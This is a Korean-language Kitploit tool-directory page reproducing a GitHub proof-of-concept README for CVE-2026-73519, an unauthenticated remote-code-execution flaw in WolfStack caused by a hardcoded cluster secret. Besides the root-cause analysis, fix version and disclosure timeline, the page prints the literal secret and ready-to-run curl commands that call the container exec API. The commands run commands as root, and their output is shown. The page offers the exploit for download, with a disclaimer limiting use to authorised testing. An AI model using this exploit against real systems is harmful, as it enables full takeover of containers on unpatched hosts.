Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-73519-WolfStack-PoC — CVE-2026-73519 - WolfStack 하드코딩 클러스터 시크릿으로 인한 인증되지 않은 RCE (CVSS 9.8) PoC | Kitploit
도구/GitHubGitHub/squeeze440/cve-2026-73519-wolfstack-poc
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationAuthenticationAPI Security
GitHubsqueeze440/cve-2026-73519-wolfstack-poc

CVE-2026-73519-WolfStack-PoC

CVE-2026-73519 - WolfStack 하드코딩 클러스터 시크릿으로 인한 인증되지 않은 RCE (CVSS 9.8) PoC

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
5일 전아직 검토되지 않음

CVE-2026-73519 — WolfStack 하드코딩 클러스터 시크릿 → 비인증 RCE

WolfStack에 내장된 하드코딩된 기본 인증 시크릿에 대한 PoC로, 원격의 인증되지 않은 공격자가 관리되는 모든 Docker/LXC 컨테이너 내부에서 root 권한으로 임의의 명령을 실행할 수 있게 합니다.

CVECVE-2026-73519
CNAVulnCheck
권고GHSA-r3mw-2wmq-j6jg · VulnCheck 분석
CVSS 3.19.8 치명적 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-798 (하드코딩된 자격 증명), CWE-306 (중요 기능에 대한 인증 누락)
영향 대상v25.9.0 및 이전 버전 / 설치별 시크릿 마이그레이션을 완료하지 않은 모든 노드
수정 버전v25.9.2 / v25.9.3
발견자Dostxodjayev Abdullox (@squeeze440)

근본 원인

src/auth/mod.rs:32는 모든 WolfStack 빌드에 내장된 단일 하드코딩 시크릿을 포함합니다:

root@kitploit:~
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";

auth::default_secret_accepted()(src/auth/mod.rs:430-460)는 운영자가 명시적으로 거부하지 않았거나(WOLFSTACK_REJECT_DEFAULT_SECRET=1) 이미 사용자 지정 시크릿으로 교체하지 않은 한, 기본적으로 이 상수를 유효한 자격 증명으로 수락합니다. 전체 REST API를 보호하는 유일한 관문인 api::require_auth()(src/api/mod.rs:518-535)는 일치하는 X-WolfStack-Secret 헤더를 포함한 요청을 완전히 인증된 것으로 간주합니다 — 세션도, API 키도, 계정도 없이 말이죠.

이 관문이 보호하는 POST /api/containers/{runtime}/{id}/exec(src/api/mod.rs:7145-7167)는 호출자가 제공한 명령 문자열을 대상 컨테이너 내부에서 그대로 실행합니다. 공개 소스(또는 이 저장소)를 읽어 본 사람이라면 누구나 신뢰할 수 있는 클러스터 피어로 인증하여 해당 노드가 관리하는 모든 컨테이너에서 root 권한으로 임의의 명령을 실행할 수 있습니다.

이번 릴리스 주기에 추가된 설치별 시크릿 자동 생성은 기존 시크릿 파일이 없고 기록된 피어도 없는 노드에서만 동작합니다(src/auth/mod.rs:250-261). 업그레이드된 노드, 문서화된 시작 경합 조건에 부딪힌 노드, 또는 설정 경로에 쓸 수 없는 노드는 로그 한 줄 경고만 남긴 채 공유 기본값을 무기한 유지합니다.

사용법

TARGET과 CONTAINER를 테스트 권한이 있는 WolfStack 인스턴스와 컨테이너로 지정한 후 다음을 실행하세요:

root@kitploit:~
./poc.sh http://TARGET:8553 CONTAINER_NAME

또는 수동으로:

root@kitploit:~
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"}  HTTP 401

# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" \
  -H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
  -d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"}  HTTP 200

PoC 터미널 출력 — 인증되지 않은 요청이 거부된 후, 하드코딩된 X-WolfStack-Secret 헤더가 포함된 동일 요청이 실행 중인 컨테이너 내부에서 root 명령 출력을 반환하는 모습

체크섬이 검증된 정품 v25.9.0 릴리스 바이너리(sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c)를 대상으로 실제 alpine:latest 컨테이너를 사용해 검증했습니다. 응답 출력의 컨테이너 ID는 피해자 호스트의 docker ps 결과와 일치합니다.

영향

  • 인증 없이 호스트의 모든 Docker/LXC 컨테이너를 열거합니다(/api/containers/docker, /api/containers/lxc).
  • 동일한 헤더를 사용해 그중 어떤 컨테이너에서든 root 권한으로 임의의 명령을 실행합니다.
  • 동일한 우회는 그 외 모든 require_auth 적용 라우트(피어/노드 관리, 백업 등)에도 영향을 미칩니다. 이 PoC는 가장 분명한 영향을 보여주는 container-exec 싱크를 대상으로 삼은 것이며, 완전한 목록이 아닙니다.

수정 사항

v25.9.2 이상으로 업그레이드하세요. 유지보수자는 기본 시크릿 수락을 기본 거부로 전환하고 기존 설치를 위한 강제 교체 경로를 추가했습니다.

공개 타임라인

  • 2026-07-31 — GitHub Security Advisories를 통해 유지보수자에게 보고했습니다.
  • 유지보수자가 v25.9.2 / v25.9.3에서 수정 사항을 배포했습니다.
  • 2026-08-08 — CVE 배정을 위해 VulnCheck에 제출했습니다(이미 공개된 패스트 트랙).
  • 2026-08-16 — VulnCheck가 CVE-2026-73519를 배정했습니다.

면책 조항

수정 사항이 배포되고 CVE가 배정된 이후 방어/교육 목적으로 공개되었습니다. 자신의 인프라에서 패치 상태를 확인하는 용도로 사용하세요. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마세요.

도구 다운로드